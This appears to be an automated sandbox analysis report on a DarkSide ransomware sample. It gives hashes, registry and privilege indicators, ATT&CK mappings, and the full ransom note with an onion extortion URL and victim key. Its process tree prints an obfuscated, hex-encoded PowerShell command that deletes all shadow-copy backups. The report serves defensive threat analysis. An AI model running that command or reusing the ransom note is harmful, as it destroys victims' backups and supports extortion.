darkside | a48af4ad3eddc63e3c079a43fd3b45d5fa66fe22c78f32f97285c428d1f1f774

General

Target

a48af4ad3eddc63e3c079a43fd3b45d5fa66fe22c78f32f97285c428d1f1f774.exe
Size

166KB
MD5

be1c18efa764b1b32421b6beb57cd3e9
SHA1

9fff40b4653ab368e04e398d9c54a1aa3a320d49
SHA256

a48af4ad3eddc63e3c079a43fd3b45d5fa66fe22c78f32f97285c428d1f1f774
SHA512

f35e3f123f4b0378626de52035390d2b8c9cf42f5b1882c66d8a79c58cd798a89506fb402a93a7ceaba1078226d7eba80e9c8a93321fc0a17e4e012fc8b15824
SSDEEP

3072:o/0Lu+FKdYM69P6padn/DDonc8oOgajAnPvNHwcW0m1QTj:o/d+FKdYMQPrdn/HovAnlwx0cC

Score

10^/10

darkside credential_access discovery execution ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.6caf1429.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Renames multiple (172) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Executes dropped EXE 1 IoCs

pid	Process
2800	azami.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2872	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\6caf1429.BMP"	azami.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\6caf1429.BMP"	azami.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	azami.exe

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Control Panel\Desktop\WallpaperStyle = "10"	azami.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\6caf1429	azami.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\6caf1429\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\6caf1429.ico"	azami.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.6caf1429	azami.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.6caf1429\ = "6caf1429"	azami.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\6caf1429\DefaultIcon	azami.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2872	powershell.exe
2800	azami.exe
2800	azami.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2800	azami.exe
Token: SeSecurityPrivilege	2800	azami.exe
Token: SeTakeOwnershipPrivilege	2800	azami.exe
Token: SeLoadDriverPrivilege	2800	azami.exe
Token: SeSystemProfilePrivilege	2800	azami.exe
Token: SeSystemtimePrivilege	2800	azami.exe
Token: SeProfSingleProcessPrivilege	2800	azami.exe
Token: SeIncBasePriorityPrivilege	2800	azami.exe
Token: SeCreatePagefilePrivilege	2800	azami.exe
Token: SeBackupPrivilege	2800	azami.exe
Token: SeRestorePrivilege	2800	azami.exe
Token: SeShutdownPrivilege	2800	azami.exe
Token: SeDebugPrivilege	2800	azami.exe
Token: SeSystemEnvironmentPrivilege	2800	azami.exe
Token: SeRemoteShutdownPrivilege	2800	azami.exe
Token: SeUndockPrivilege	2800	azami.exe
Token: SeManageVolumePrivilege	2800	azami.exe
Token: 33	2800	azami.exe
Token: 34	2800	azami.exe
Token: 35	2800	azami.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeBackupPrivilege	1492	vssvc.exe
Token: SeRestorePrivilege	1492	vssvc.exe
Token: SeAuditPrivilege	1492	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2292 wrote to memory of 2800	2292	a48af4ad3eddc63e3c079a43fd3b45d5fa66fe22c78f32f97285c428d1f1f774.exe	30
PID 2292 wrote to memory of 2800	2292	a48af4ad3eddc63e3c079a43fd3b45d5fa66fe22c78f32f97285c428d1f1f774.exe	30
PID 2292 wrote to memory of 2800	2292	a48af4ad3eddc63e3c079a43fd3b45d5fa66fe22c78f32f97285c428d1f1f774.exe	30
PID 2292 wrote to memory of 2800	2292	a48af4ad3eddc63e3c079a43fd3b45d5fa66fe22c78f32f97285c428d1f1f774.exe	30
PID 2800 wrote to memory of 2872	2800	azami.exe	32
PID 2800 wrote to memory of 2872	2800	azami.exe	32
PID 2800 wrote to memory of 2872	2800	azami.exe	32
PID 2800 wrote to memory of 2872	2800	azami.exe	32

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\a48af4ad3eddc63e3c079a43fd3b45d5fa66fe22c78f32f97285c428d1f1f774.exe
"C:\Users\Admin\AppData\Local\Temp\a48af4ad3eddc63e3c079a43fd3b45d5fa66fe22c78f32f97285c428d1f1f774.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2292
- C:\Users\Admin\AppData\Local\Temp\azami.exe
  "azami.exe"
  2⤵
  - Executes dropped EXE
  - Sets desktop wallpaper using registry
  - System Location Discovery: System Language Discovery
  - Modifies Control Panel
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2872

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials from Password Stores

2

T1555

Credentials from Web Browsers

1

T1555.003

Windows Credential Manager

1

T1555.004

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

1

T1217

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\azami.exe

Filesize
59KB

MD5
0ed51a595631e9b4d60896ab5573332f

SHA1
7ae73b5e1622049380c9b615ce3b7f636665584b

SHA256
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60

SHA512
9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
3b1c5c77c8a45804207e49a2742b5d06

SHA1
af37d23c070c1720e879cc5f10316722df03a60f

SHA256
835fd0f59f156cbed05b05ff165ce70cce2f7a7574561516f1a6da16a902f044

SHA512
257d2730647652638de51cd1599d0c9584a516f150bad6628b4a52d93f457290d776a243b0090944f40bbeceff240ab0afec2720e4abd53b1ddae47621ef7bbf

Download Submit
C:\Users\Admin\README.6caf1429.TXT

Filesize
1KB

MD5
d4e176b40c4ea17f4870c34fad926d6e

SHA1
2cc3e4c6cf00e4a2ac0e16e9f7b0ccf2421b92e0

SHA256
7ee422c323ddbda59934ed7bfa6217cfe06bdb50165b7d4b6115475f1df7af0c

SHA512
feaa913ae99db210db088423a9813e1efedd89d80817bf485a4d9f8ea349b86932ac16ba0473bd224ff150603507bd289d01aebc1a702372a076a167b632f471

Download Submit
memory/2872-11-0x000007FEF57CE000-0x000007FEF57CF000-memory.dmp

Filesize
4KB

Download
memory/2872-12-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2872-13-0x00000000026E0000-0x00000000026E8000-memory.dmp

Filesize
32KB

Download
memory/2872-14-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-15-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-16-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-17-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-18-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-19-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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